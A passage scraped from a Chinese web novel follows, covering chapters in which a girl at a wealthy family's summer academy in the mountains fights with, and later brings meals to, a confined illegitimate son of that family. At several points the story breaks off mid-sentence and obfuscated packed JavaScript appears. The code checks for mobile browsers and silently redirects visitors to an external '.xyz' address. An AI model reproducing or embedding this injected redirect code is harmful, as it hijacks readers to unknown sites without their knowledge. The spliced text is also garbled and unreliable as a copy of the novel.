被长久注视过的人不曾察觉。 3. 初遇 十年前的夏天,骆星在小厘山过暑假。 那几年她跟江家显处得不错,跟在人身后当小弟,任凭差遣,有求必应,背地里被人骂奴颜婢膝,哈巴狗一条。 骆星无所谓,她不在意这个,能获得实际的好处才最重要。 在江家显和他那群朋友眼里,骆星是个突然出现在他们生活中的外来者。 她被贴上标签,沉闷,乏味,随大流,且没什么意思的一个人,从来不会忤逆江家显。 罕见的,这次上山后,骆星跟江家显吵架了。 骆星设想过吵架的最坏结果——无非是她被赶出小厘山。 小厘山上的国学馆是江家办的。江氏集团旗下部分业务涉及教育领域,近年来不断拓展深耕,随着国学热兴起,在全国各地建起多家国学馆。 洛京市内最出名的一所,便在小厘山。 江、孟、王三家历来如同洛京这艘百年巨轮的风向标,半点风吹草动也惹人瞩目。三家小辈去国学馆过暑假,引得其他人争先相仿,导致小厘山一席难求。 托江家显的福,骆星已经连着两年暑假来国学馆消磨时间。 雷雨天,室内昏暗,白昼如夜。 骆星没开灯,盘腿坐在宿舍的单人床上刷手机,手指犹豫着点进鲸鱼直播平台,输入“文思”,跳出来一堆不相干的搜索。 往下划拉了两页,才找到文思的直播间。 屏幕里出现一张画浓妆的美艳脸蛋,齐肩的麦穗卷,左边挑染了两簇薄荷绿。身后的货架上全是衣服,一件叠着一件。 直播间实时在线人数2000+,不少观众催促主播赶紧试穿13号链接的衣服,想看效果。 文思拿起一件湖绿吊带衫,往身上比划两下。 “每件都试?”她语气敷衍,“我不伺候,自己去看昨晚的直播回放吧,回放里有,昨晚都穿过了。” “顾客是上帝?可拉倒吧,在我直播间人人平等。” “就凭你也想当上帝,当儿子都得考虑考虑,给我当孙子还成。” 底下一群人刷:“思思,我给你当牛做马……” 简短几句互动,直播间弹幕滚得飞快,一半在捧一半在骂,观众人数不减反而飙升。 文思直播间风格是这样,怼观众,开嘲讽,有人喜欢这套,粉丝不少,黑子也多。 骆星点开右上角的礼物榜,“酱仔”依旧排在第一。 酱仔原本是江家显的账号,酱”跟“江”读音相近,骆星取的ID,江家显嫌难听,但不知道为什么一直忍着没改名,可能忘了。 近两年来,这个号大多数时候是骆星在用。 鲸鱼上架了不少精品网课和付费阅读专栏,酱仔属于等级最高的SVIP账号,有各种专属特权,骆星用这个账号买课能蹭到不少折扣和优惠。 江家显有时自己懒得登录,也会让骆星帮他签到刷经验值,账号逐渐变成两人共用。 这也是两人吵架的伏笔。 一周前,文思在鲸鱼开通直播账号卖货,酱仔当晚成为直播间榜一。 第二天骆星登录后发现了账号的大额充值和打赏记录,找江家显一问,才知道怎么回事。 江家显坐在电脑前打游戏,手指重重按着机械键盘输出,屏幕上枪林弹雨,他一心二用地听骆星说话,语气满不在乎: “没被盗号,我充钱打赏的。” 余光里,骆星点了下头,表示知道了。“那你抽空把密码改了,以后我用自己的号。” “别那么麻烦,你要怎么用还怎么用,我登的次数又不多……”江家显脸上映着屏幕折射出的冷光,双目聚焦游戏人物,咔哒咔哒有节奏地点击鼠标。 “等文思开播了,你帮我去送礼物,省得我忘了。”他吩咐。“我跟她打赌输了,要连送五天。” 文思的名字对骆星来说不算陌生,也见过两次,还没能熟络起来。 江家显朋友多,传绯闻的暧昧对象也多,真真假假的。 骆星对文思的印象有限,仅仅知道她是江家显他们经常光顾的那家台球店的老板女儿,且听说是个拽姐。 替江家显去直播间打赏的事,骆星没拒绝,毕竟不是花她的钱,她只需要动动手指头。 “要送多贵的礼物?”她问江家显。 “每次一万差不多了,我昨天充的钱应该管够。” 五天送掉五万多,妥妥的散财童子,骆星不予置评。 岔子出在昨晚。 昨天是第五晚,骆星照旧应该要登着酱仔的号去文思直播间散财,但她忘了。 刚进小厘山,杂事多,晚上还有动员大会,骆星直到睡前都没碰手机,回到宿舍累得倒头就睡,是真的一点儿都不记得了。 好巧不巧,文思昨晚有PK任务,等榜一救场。 结果酱仔一直没上线,害文思输掉了一场重要PK,不仅平台的连胜奖励没了,按照她跟对面直播间的赌约,输家要扮丑,出洋相。 文思不知道这几天送礼物的并非江家显本人,她在微信上对着江家显一顿输出。 到今早江家显起床打开静音的手机才知道发生了什么。文思冲他撒的火,他又全轰到了骆星身上。 答应了的事没办好,骆星反复道歉,但江家显不依不饶说得多了,她也烦,泥人还有三份土性。 几句话下来,脸都冷了。 “都说了不用你号,是你非要我登的。” “你跟她打赌关我屁事?要送礼物不知道自己送?” “怎么,道歉都不行,我还得去她直播间下跪?” 认识四年,这是骆星头一次回怼,不打算给谁面子。 江家显脸黑如锅底,砰地摔门走了,震天响。 中午骆星没吃多少,回了宿舍午休。 她关掉手机,躺倒在凉席上,扯过空调被的一角搭在肚子上。 大雨如注,天上像在开闸泄洪。 世界一片嘈杂,只听得见哗啦啦倾泻流淌的雨声。骆星枕着自己的手臂,在昏暗中入睡。 醒来已经是四十多分钟后,她闷出满头汗,贴在身上的衣料黏腻发潮,凉席也被捂得发热。 空气沉闷,像一池铺满厚重青苔的死水。 空调不知什么时候停止了运转。 骆星按了两下墙壁上的电源开关,没反应,停电了。 手机还剩岌岌可危的5%的电量,同时映入眼帘的,还有夸张醒目的二十八个未接电话。 全来自江家显。 在两人冷战期,这么多的未接电话显得太不寻常。 他那边不知出了什么事。 骆星拨回去,连续响了好多声,没人接。 想想还是主动给他发了条消息:“刚午睡去了,什么事?” 骆星等了几分钟,手机依旧安静,她懒得再管,去洗手间洗了把冷水脸。 手指拢了拢铺散满背的长发,简单盘起,扎出一个丸子头,剩下几缕细碎的鬓发粘着脸颊。 从走廊上经过的女生听见里面的动静,探头张望,看见她,诧异地喊道:“骆星,你怎么还在寝室?” “寝室楼这边停电了,大家吃过午饭都在活动室休息,我说怎么没看见你……” 骆星睡眼惺忪,脑子宕机,还处于状况之外,看清对方是住她隔壁寝的女生,有气无力地应了一声。 “一起走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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雨水冲刷在脸上,江家显快要睁不开眼睛,扭头朝还在观望的骆星吼道:“快过来帮忙!!!” “艹!”江家显骂了一声,啐掉嘴里的沙子。 “拦住他!” 即便隔得远,骆星也能感觉到江家显眼里的怒火。 虽然还不清楚具体什么情况,如果骆星真的放任不管,等下这把火就得烧到她身上。 骆星一贯识时务。 脚腕扭了扭,没想太多,脚下奋力一踹。 她踢球准头一般,向来时灵时不灵,多少有点儿听天由命的意思。 飞出去的足球在半空划出条抛物线,如有雷霆万钧之势,重重砸向那人的脑袋。 几乎正中靶心。 他整个人往前栽下去,砰地砸在地上,泥浆水花飞溅。 骆星顾不得撑伞,深一脚浅一脚地踩进雨中,走近后,低头打量地上的人,问江家显:“怎么回事?他谁啊?” 江家显满身泥污,胸膛剧烈起伏着,气息不稳地一脚踩住地上没力气再爬起来的人,“狗杂种。” 骆星看见那人埋在泥沙里的脸轻微地抽搐了两下,像濒死之际挣扎的鱼。 这是骆星第一次与江云宪见面的场景。 她尚且还不认识他,不知道他的名字,因为提前站定了名为“江家显”的阵营,他们注定成为敌人。 江云宪因为轻微脑震荡陷入短暂的昏厥,在意识消失前,他艰涩地眨了一下眼。 抱着足球的女生五官被雨水迷糊,自上而下的俯视,他看不清她的表情,只记得她冷淡而疏离的声音,像隔着一层雾传来。 她问江家显:“现在怎么办?” 那声音似乎还带了点笑,“总不能就地埋了吧?” 顷刻间,雨又变大。 蒲公英一样绒绒的雨雾变得汹涌盛大,蔓延成白色火海,融化着绿意盎然的小厘山。 天空响起几道闷雷,起风了,无数的树啊草啊灌木啊荆棘啊,被吹得癫狂呜鸣。 4. 禁闭 人没活埋,被路过的王医生带走了。 下午两点半,国学讲坛开课。 今天讲儒家发展史,老先生姓赵,在业内赫赫有名。大师级的人物,也就江家的国学馆能让他每周特地腾出两小时进山讲学。 骆星在宿舍快速冲了澡跑来占座位,十来分钟后,江家显姗姗来迟。 老先生不喜欢点名清查人数,沉浸在自己的讲堂里,睁一只眼闭一只眼放过了迟到的江家显。 教室人满为患,只剩骆星旁边的空位,江家显弓着腰坐过去。 他来得匆忙,头发还湿着,浑身沾染沐浴后的水汽。洗掉脸上的泥污后,嘴角的淤青变得很明显,横在桌子上的手臂有几道擦伤。 骆星有一肚子疑问,但憋住了,什么也没说,佯装努力听课。 江家显望着前方大屏幕,像是非常认真在听讲,只留给骆星半张拒人千里之外的侧脸。 一节课下来,老先生滔滔不绝,激情澎湃。 不知不觉中开始拖堂。 骆星注意到江家显有点急躁地看了两次手表。 这时前一排的两个女生注意到了江家显脸上的伤,频繁回头,似乎有什么想问,但看江家显臭脸,又不敢问。 台下渐渐多了各种说小话的声音。 老先生宣布下课,那声音顿时像水波往外扩散。 江家显走得很快,骆星合上手里的教材,跟了上去。 江家显走的是连通医务室的长廊,两侧和廊顶爬满了葡萄藤,遮蔽掉本就微弱的天光。 骆星在拐角处被江家显抓住手腕,逮了个正着。 “鬼鬼祟祟干什么?”从中午开始,江家显整个人都处于低气压中,说话也像在质问。 “我去医务室看看。”骆星说起来有点心虚,毕竟是她一脚足球把人放到的。真要有个好歹,她脱不了干系。 “他人怎么样了?” “死不了。”江家显语气冰冷。 从“狗杂种”到“死不了”,骆星觉得今天的江家显很怪,易爆易怒。他平常也有少爷脾气,但没这么偏激。 最终两人还是一前一后去了医务室。 小厘山设施完善,配备齐全,医务室独占一层小楼,请了两位医生坐诊。平时遇到的顶多是中暑或者感冒的学生,今天突然意外情况,接收了一位特殊病人。 王医生见江家显来了,指了指里头的房间,“人十分钟前醒的,还在输液,还没完全退烧。” “他发烧了?”骆星问。 “烧到39℃,”王医生说,“生病还淋雨,还打架,你们到底……” 他说着看向江家显,摸不准到底怎么回事。 话没说完,里面的房间传来东西被碰倒的声音,还有另外一位实习医生的惊呼。 江家显神色一凛,快步往房间走,骆星紧跟上去。 杯子碎在地上,留下玻璃残渣和一滩形状不规则的水迹。 窗户打开着,原本在病床上输液的人扯掉了针头,撑着窗户往外跳,手上还拎着沾满泥浆的黑色书包。 骆星眼疾手快地冲到窗边,拽住了那根书包肩带。 混乱中,外侧口袋的拉链被扯开,一张身份证掉出来。 他不管书包和证件了。 眨眼间松了手,人顿时融入弥漫的水汽云雾中。 江家显和两个医生先后追了出去。 骆星在窗边抓着被主人抛弃的黑色书包凝神了两秒,弯腰捡起那张身份证,用袖子擦了擦上面的泥。 证件照上的男生五官轮廓分明,头发剃得略短,露出了额头,微微隆起的眉骨下有一双漆黑的眼,漠然地直视着镜头。 骆星看清了他的名字。 ——江云宪。 窗外能见度太低,骆星视线受阻,看不清具体情况。只听着那闹哄哄一片响,人应该是又被逮回来了。 * 三天后,骆星从王医生口中得知,江云宪被关禁闭了。 “他在我这里躺了三天,病刚好就想跑。”王医生向骆星透露。 骆星转笔的手一顿。 王医生又说:“你说那个小帅哥到底怎么回事?还有老魏也不像话,哪有人不愿意来,非得把人押在山里的。” 骆星倒是知道一点其中的内情。 这几天江家显就像个行走的火药桶,打了个无数通电话,她多少能听到点细枝末节,能够拼凑出大致的故事脉络—— 新来的江云宪是江父流落在外的私生子,刚被找回来。中间怎么沟通的不知道,反正人家自己根本没想来洛京认祖归宗,现在千方百计要回老家。 江父把事情交待给已经能独当一面的长女江子茵,江子茵没空管,把人送来了小厘山,让江家显帮忙看着点儿。 江家显被长姐许诺了一些难以拒绝的好处,才答应帮着留人。 但这份差事没那么好办,从偏远小城来的狗杂种长着嶙峋的硬骨头,江家显拿不下,他身上和脸上挨的拳头证明了这点。 最后江子茵跟老魏对话,差事又转交给老魏。 老魏手段简单粗暴,直接把人关了禁闭。 江云宪没得逃了。 骆星第一反应是有点儿同情。 老魏名叫魏武,长得牛高马大,粗中有细,文武双全,关键心眼还贼多。 他在小厘山是个特殊存在,什么都管。 去年山上还能带手机,今年自从老魏来了后,手机、游戏机、打火机均被列为违禁物品,禁止携带。暑假班三百来号学生年龄均在15至18岁之间,他把国学馆管得跟封闭式的寄宿中学一样严格。 馆内有书法、国画、茶道、武术等多门课程供人自主选择,大家的课表不同,老魏全能记住。查堂点到,谁缺席了他心里一清二楚。 骆星只翘过一次围棋课,就被老魏抓了个正着,之后连着三天晚上被老魏叫去棋室对弈。 对老魏,骆星能避则避。 骆星同王医生聊完情报,拿走一盒藿香正气丸,大盒里子码着十二小瓶,拇指长度。 她撕掉乳白的塑料盖,圆鼓鼓的深棕色小颗粒往手心一倒,仰头干咽下去。 她被这鬼天气闷得作呕,胸腔堵着,犯恶心,是中暑的征兆。 嘴里的中药味把恶心感往下压了压,她趿拉着布鞋经过小柒楼。 国学馆的建筑外观统一,为了辨别,直接用大写的“壹贰叁肆伍陆柒”号楼代替。 小壹楼至小肆楼主要是上课场所,后面几座分别为食堂、医务室等。 王医生说人就关在小柒楼东边第一间房,他去测过两次体温,怕人高烧复发。 骆星从檐下经过,那间房门窗紧闭,空调外机没有动静,仰头能从上半边透明的窗玻璃里看见转出残影的三叶扇。 里面确实有人。 但不归骆星管,她急着赶今天下午的书法课。 江家显在书法教室门口跟她碰上。两人一块儿选的课,课表重复率100%,几乎不可避免碰面。 江家显斜了眼骆星手上的药盒,不在意地收回视线,进去挑了张桌子。 座位可以自主选择。 骆星扫过教室,只剩江云宪前面还有空位,剩下几个都太靠前。 江家显在玩手机,大喇喇的动作,完全没藏着掖着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965864|161230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不怕老魏搞突然袭击。 连续欢快的游戏音传来,骆星犹豫要不要转头跟他说话,但没话题。 提江云宪是踩雷区。 至于提文思,骆星也不想触霉头。 本以为那一脚足球算帮忙了,两人可以冰释前嫌,但目前来看,好像没那么简单。 气氛还僵着,说不出的别扭,没完全破冰。 随着老师进门,身后的游戏音也戛然而止。 骆星收敛心神回到课堂上,去年暑假她也选了书法,学篆书,从《峄山刻石》到王福庵的《说文部目》,再到《白氏草堂记》,老师夸过她许多次。 今年的课程主讲楷书,还是这位书法老师。 骆星铺开宣纸,梅花黄铜镇纸压住一角,跟着老师用清水开笔。 半堂课过去,赶上老魏来查堂,高大的身影神闪现在窗口,神出鬼没。 老魏在心里点人数,一般不会进来打扰老师上课。 骆星专心临摹,只分了点余光给他,没当回事。直到身后的桌肚里,不合时宜的手机铃声猝然响起。 瞬间骆星心提到嗓子眼,快要跳出来。 手机自带的经典铃声,节奏鲜明,音量不算特别大,此刻在安静的书法教室里却显得分外嘹亮清脆。 骆星百分百确定自己包里的手机静音,罪魁祸首是江家显。 老魏已经从后门走进来,目光锁定他们这个角落。 骆星不由地坐直了身体,椅子底下的横木上,从后方踩过来一只脚,不轻不重地抖了两下。 骆星懂江家显的这种暗示。 老魏铿锵的脚步逼近,仿佛催命号角。 骆星的心跳节奏也随之加快,最后,她还是伸手扯过桌肚里的包,从最里侧的口袋里拿出手机,攥在手里。 在全班同学和老师的目光里,她站起来自首,主动把自己的手机上交给老魏。 而江家显被掩护,逃过一劫。 老魏看了骆星一眼,倒也没说什么。 骆星清楚,不到暑假班结束离开小厘山的那天,没收的违禁物品不会被归还。 后座的江家显冲骆星笑了一下,这是冷战终于结束的信号,他脸上聚拢的阴霾被拨开。 小跟班用实际行动表忠心,表示一切如常,她并未脱离掌控。 江家显满意地把五分钟前刻意开启的音量关掉,恢复成静音模式。 后半堂课骆星不怎么专心,被书法老师点出来。 大约有恨铁不成钢之意,课后骆星被老师留堂罚抄。今日主要临摹的是《悯农》里的两句,“谁知盘中餐,粒粒皆辛苦。” 骆星不想敷衍了事,提笔一笔一划地写。 同学们陆续离开,最后剩下她一个人,书法教室渐渐恢复安静,小厘山的雨声变得清晰。 到了吃晚饭的点,骆星还在写,又往陶瓷墨碟里添了一次墨汁。 前方响起两道叩门声,她闻声抬头,江家显懒散地倚在门框上,声音带笑:“这么认真?” 他走过来抄起桌上拿一沓墨迹尚未干透的宣纸,翻了翻,“随便写写就得了,你还真听老师的话。” 骆星撇掉笔尖盈满的墨汁,继续写,“不想返工。” 江家显在旁边坐下,“阿星,你帮我个忙吧。” 他心情好了,就开始阿星长阿星短,喊得亲昵。置气的时候,伤人的话张嘴就来。 “什么事?”骆星问。 “送饭。” 骆星抬眼看他,没明白什么意思,“送饭给谁?” 江家显脸上的笑容点了淡,不情不愿地说: “禁闭室那个。” 5. 送饭 老魏受江家嘱托,把江云宪强行留在小厘山,就目前的情况来看,江云宪丝毫没有妥协的迹象。 他被限制自由,每日三餐是最大问题,得有人送。 终归是江家的事,老魏让江家显负责。 江家显又找上了骆星,“帮帮忙吧,阿星。明天裘柯过来了,让他跟你轮换。” 活儿都被他派给别人了,就他自己闲着不用插手。 安排得明明白白。 骆星写完厚厚一摞《悯农》才关灯离开书法教室,去宿舍冲完澡,再去了食堂。 她拿起不锈钢餐盘,跟打饭窗口的阿姨要了板栗红烧肉、糖醋里脊和青菜豆腐。 路上斜风细雨扑面而来,伞挡不住,衣摆上粘了层细密水珠,骆星端着餐盘朝小柒楼快步走去。 到屋檐下,收了伞,先屈指在门上叩了两下,故意弄出点动静,算是提醒屋里的人,再用江家显给的钥匙开门。 禁闭室的门被拧开。 房间里没有开灯,外面长廊上的光透过窗口隐隐渗进来,骆星借此大致看清了室内的布局。 跟她的单人间宿舍差不多,进门左手边是洗手间。不同的是,这边的门窗都被锁死了。 房间里只有一张上下铺的铁架床。 上铺堆了东西,下铺的棕榈垫上铺了层国学馆统一发放的凉席。 凉席上有个灰蒙蒙的人影,弓着背,面朝里,微蜷着双腿侧躺。 他像回南天里一道拖长的灰色水痕,停滞在潮湿的白墙上,没有声息,也没有生机。 骆星站在几步开外,端着餐盘喊他的名字:“江云宪。” 没反应。 骆星摁亮墙上的电源开关,室内登时明亮。 又说:“江云宪,吃晚饭了。” 亮起的白炽灯没落到下铺,少年躺在那片阴影里,是素描纸上被铅笔涂暗的部分。 外面的广播开始播放音乐,空灵悠远的古筝曲寂静地凑响,像从很远的地方传来。 小楼外有忽远忽近的脚步经过,嬉笑打闹的动静,但都与这一方暗室无关。 骆星叫了几声便没了耐心,偏偏房间里连张放餐盘的桌子也没有,总不能直接把东西搁地上。 她又想起王医生的话,说这人前几天发烧反复,开始担心。 别是出什么事了。 “喂,你哪里不舒服吗?” 骆星越想越有可能,伸手去探他额头的温度。快要触碰到时,被一只手擒住手腕。 那是与骆星完全不一样的力道。 男生的指骨坚硬,跳动的脉搏潜伏在苍白的皮肤纹理下,手背青筋突起,掌心出了一层黏腻的冷汗。 江云宪转了过来,望着骆星。 他认出了她。 ——江家显的人。 骆星挣脱开他的手,另一只手上的餐盘差点没拿稳,瞥见自己腕上被掐出的两道红痕,变得语气不善:“耳朵聋了?” 江云宪弓背靠着墙,黑漆漆的眼睛盯着她,目光像蛇一样冰冷。 骆星丝毫不怵,梗着脖子居高临下:“刚叫你吃饭没听见?”她挺不客气的把餐盘递过去。 下一秒,餐盘直接被掀了。 哐当一声。 盘里的白饭和菜撒得到处都是。 床铺上、地上,一片狼藉。 骆星脚上趿拉着人字拖,黏着米粒的红烧肉堪堪掉在她脚背。她怔了怔,抬脚甩掉,留下一个腻腻的油印。 江云宪看着她,面无表情:“我让你送了?” 骆星动了下,脚底的黏腻感让她眉头皱得更深。大脑似乎停止了思考,连日来的压抑心情被怒火点燃,瞬间爆发。 这一刻她什么都没想,但四肢已经脱离控制,朝对方扑上去。 骆星没来洛京前,留一头短发,跑得飞快,翻墙上树,经常跟家附近的孩子打架。 来洛京后,她发现就算打赢了没用,所以很少动手。 她揍江云宪时发狠,也有巧劲。但江云宪身高和力量上占优势,他将她摁住。身下凉席滑走,她的脸被粗糙的棕榈垫磨得发红。 两人都喘着粗气,汗水浸湿衣服,悬挂的灯泡变成烈日,刺得人眼睛发红,额角青筋直跳。 直到巡逻到附近的老魏进来将两人分开。 * 江家显赶过去的时候,战争已经结束,参与战斗的双方人员都被老魏带去了医务室。 王医生用碘伏帮骆星处理伤口,实习医生在另外一间房给江云宪上药。 两人被分开在两间房,省得再起冲突。 骆星最严重的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965865|161230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一处伤在额角,倒是不赖江云宪,老魏将她扯走时,她在铁架床的床沿上磕了一下,导致破皮流血。 老魏问为什么打架,江云宪不吭声,骆星也不说话。 老魏骂他们两个犟种,转头去给江子茵打电话。 王医生摆出和蔼的朋友姿态,跟骆星套话:“说说吧,为什么动手?” 骆星瞥了眼安静的隔壁房,“我饿着肚子先给他送饭,他不领情就算了,还浪费粮食,‘谁知盘中餐,粒粒皆辛苦。’我不得教训教训他?” “嘶”,她吃痛,让王医生手上动作轻点。 肚子也凑热闹地咕噜两声,好大的响。 王医生笑话:“真饿着肚子没吃晚饭啊?” “这还能有假?” 现在食堂窗口应该关了。王医生从抽屉里抓了一把巧克力,给了骆星几颗,剩下的送去隔壁房间。 骆星拆了一颗巧克力放嘴里含着,快吃完了,江家显才过来。 他见面就问:“江云宪打你了?” 骆星无聊地用巧克力包装纸折了两颗星星,“我也打他了。” 她不想江家显横生枝节再添麻烦,就说:“我饿了,为了帮你送饭,我自己还没吃。” 江家显弯腰端详她额头的伤口,伸手戳了一下,骆星疼得往后缩。 江家显笑:“我宿舍还有泡面,你要不要?” “你给我泡好。” 骆星觉得自己也算工伤了,使唤大少爷一次不过分。 晚上睡前,骆星又收到江家显的大袋进口零食,他托隔壁宿舍的女生送到 她手上。看分量,几乎快要把他此次进山的库存清空。 骆星拆了小瓶藿香正气丸,没动零食。 她蘸着冷水,给自己揪痧。左手的手腕上渐渐被扯出一条紫痕,颜色慢慢发黑变深。 那晚骆星失眠,睡得很晚,光怪陆离的梦境像年久失帧的录像带,她梦到了江云宪。 禁闭室的墙和灯像凛冬时节小厘山堆积的雪一样白,空气却又热又闷。 棕榈垫擦痛了她的脸,摁在她头上的手如同钢筋铁骨般挣脱不开。 混乱中她看清了少年的眼睛,充满攻击性,微垂的眼尾猩红,如同困兽,他死死盯住她。 她骇然从梦中惊醒。 6. 宵夜 裘柯是第二天一大早被家里的司机送上小厘山的。 国学馆刚结束晨练,众人四散,路上来来往往的学生很多。馆内虽未统一服饰,但有着装要求,素色简约为好,因此没人穿得花里胡哨。 当拉着32寸行李箱,一身潮牌的裘柯出现山中的晨雾里,就像街头闪烁的红绿灯,格外惹眼。 他报道完就去找江家显和骆星,结果发现他迟到的这几天里,应该发生了什么不得了的大事。 江家显脸上挂彩,嘴角和颧骨处的淤青非常明显,而骆星额头上还贴着创可贴。 裘柯也不去宿舍换衣服了,围着两人团团转:“说话啊,你们俩怎么回事啊,是不是想急死我?!” 骆星嫌他穿得像个灯球晃眼,别过头走了。 裘柯看看正在打游戏的江家显,追上骆星:“阿星等等我……” 骆星放慢脚步,等了他一秒意思意思,岔开话题:“今天就你一个人上山?” “对啊,王宁甫在搞什么竞赛,我先出发……” 王宁甫跟裘柯一样,都是江家显玩得好的朋友。骆星因为江家显的缘故,在学校经常跟他们碰面,因此慢慢熟络起来。 他们几个也报名参加了国学馆,在小厘山预留了名额,不过被各种事情拖着,得晚点到。 裘柯最跳脱聒噪,有他在就热闹。 他非要骆星解释清楚脸上的伤,“好阿星,快说说,你是不是跟江二打架了?” 骆星抿唇,摇头。 裘柯急得跳脚:“那你的伤到底怎么来的?” 骆星欲言又止,她知道江云宪的身份敏感,关于他的存在,她最好一个字别提。 况且也轮不到她开口,是江家的家务事。 急死裘柯也挺好的。 * 晚上大家被组织在影音室一起看纪录片,内容枯燥无聊。没有专门的老师来管纪律,底下很快乱成一锅粥,各干各的事情。 骆星窝在座位上打了会儿瞌睡,揉揉眼睛,找江家显借手机玩。 裘柯从旁边支出一个脑袋:“你自己的手机呢?” 骆星看向江家显:“被收了。” 裘柯同情她:“这么惨啊。” 江家显笑而不语,心情颇好地把自己的手机解锁,递给骆星。 骆星伸手去接,裘柯看到她手腕内侧的黑紫瘢痕,又问:“你手怎么了?” 江家显这才发现,朝她看过来。 骆星瞥了眼手腕,飞快打开手机应用商店下载自己想玩的游戏,无所谓地说:“刮痧啊,自己扯的。” 裘柯:“怎么你中暑了啊?” “有可能。”骆星专心致志玩游戏,跟江家显说,“你望风吧,要是被老魏发现手机又被收了,可不怪我。” 裘柯听见她指使江家显有点惊讶,更惊讶的是江家显点头答应了。 骆星玩种田游戏打发时间,刚挖通一条堵塞的沟渠,种了一池荷花,手机屏幕上方弹出消息: 【文思:“给你看个有意思的……”】 【文思:视频。】 【文思:截图。】 骆星把手机还给江家显:“有人找你。” 江家显切换界面回消息,回完让骆星继续玩。 骆星操控着游戏人物去衙门领任务抓小偷,绳索套中小偷的脚,进度条开始读秒,原地控制小偷十秒即为抓捕成功。 弹出来的消息再次打断了游戏。 【文思:“大少爷,你能订到泗囍楼的包厢吗,很急……”】 大概真的很急,这条消息之后,电话直接打进来。 骆星扬手,手机扔进江家显怀里。 江家显看到来电显示,朝窗口张望,出去接电话。等过了几分钟才回音影室,他问骆星还玩不玩游戏。 骆星缩在宽大的椅子里抱着膝盖,打着盹,意兴阑珊地说:“不玩了,不好玩儿。” “谁给你打电话?”裘柯问江家显。 “文思,帮她点小忙……”江家显说,随之而来的是裘柯饱含深意,暧昧拖长的一声“哦……” 江家显抬胳膊锁住裘柯喉咙,后者吱哇乱叫。 骆星显他们吵,扯了扯衣服帽子戴上,遮住耳朵和眼睛。 江家显给文思帮忙的事还有下文。 隔天晚上,都熄灯睡下了,骆星听见石子敲打窗户的动静,还有人扮老鼠的吱吱声。 她打开窗户,看到裘柯站在外面朝她挥舞双手,旁边站着江家显。 他们都打探清楚了,老魏傍晚下山办事,今晚不回。 多少有点嚣张了。 半夜山里气温低,骆星穿了件外套才出去。 她跟着他们往外走。 小厘山连绵不绝的雨停了,深夜静若太古,偶有几声蝉鸣炸响。 清酒般的月光斟满山脊,把脚下的小径照得发亮,似有一层水银在地上缓缓流淌。 国学馆的最外圈修筑了一道高墙,留了东西两个门。 东门是正门,设置有保安亭,众人平时出入都走东门。西门形同虚设,铁门上落一把大锁,没见人开过。 骆星熟悉国学馆的内部布局,半路就猜到他们要去西门。 “你就不问我们干嘛去?”又是裘柯先憋不住说话。 “干嘛去?”骆星顺着他的话往下问。 裘柯指着走在前面的江家显说:“江二不是帮了文思一个大忙吗,文思说要过来送夜宵,答谢江少爷。” 一份夜宵,从城区送进山,可见诚意十足。 他们走到了西门口,铁门岿然不动,铁锁生锈。 江家显白天来踩过点,攀着墙根处的一棵桂花树翻上墙体。他和裘柯各朝骆星伸出一只手。 骆星被他们拉上去。 这次她主动跟江家显提及给文思直播间送礼物出岔子的那事,“等会儿要不要我替你解释清楚?你把锅推给我。” “算了,”江家显说,“都过去了。” 骆星:“她不跟你生气了?” 江家显:“你不也没跟我生气了。” 骆星扯了下嘴角,她那是懒得跟傻逼计较。 裘柯不知道他们打什么哑谜,正要问,山道上远远传来轰隆隆的引擎声。 随着那声音越来越近,两道雪亮的强光直直地从山道上打来。 一辆银白色机车停在他们面前。 文思取下头盔,甩了甩头发,是齐肩的麦穗卷,还有挑染的几抹薄荷绿,跟那天骆星在直播间看到的一样。 顺着风,骆星闻到了浓郁性感的玫瑰香水味。 文思看见三人有片刻诧异,大概没想到江家显会叫上朋友一起过来。掩过一闪而逝的情绪,冲他们露出一个明艳的笑,扬起红唇:“给你们带了好吃的。” 裘柯兴高采烈去接文思手里装食物的袋子。 海鲜和烧烤,分量不少,够他们几个吃。 袋里还有最近爆火的新款奶啤,长长的樱粉色瓶身,只捎了两罐,暴露私心。 本该是两人在月下碰杯畅饮。 骆星懂这点心思,两个男生好像没懂。 裘柯问啤酒怎么只有两罐,文思说忘了买,这两罐是店主送的赠品。 多了两个搅局的电灯泡,文思原本的计划生变,她不打算留下来了,抱着头盔跨上机车,作势要走。 江家显问:“不留下一起吃?” 文思倾身对着后视镜整理头发,闻言侧过脸看他,“回去还要直播,生活不易啊大少爷。” 她说完耸了耸肩,锁骨上的荆棘玫瑰纹身在领口若隐若现。 “新纹的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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新手机亮了,是江家显的消息: 【“阿星,再帮我个忙。”】 骆星叼着牙刷,嘴里泛起一股清凉的薄荷味,心想这手机果然没那么好拿。 她慢吞吞地腾出手打字:“又有什么事,杀人还是放火?” 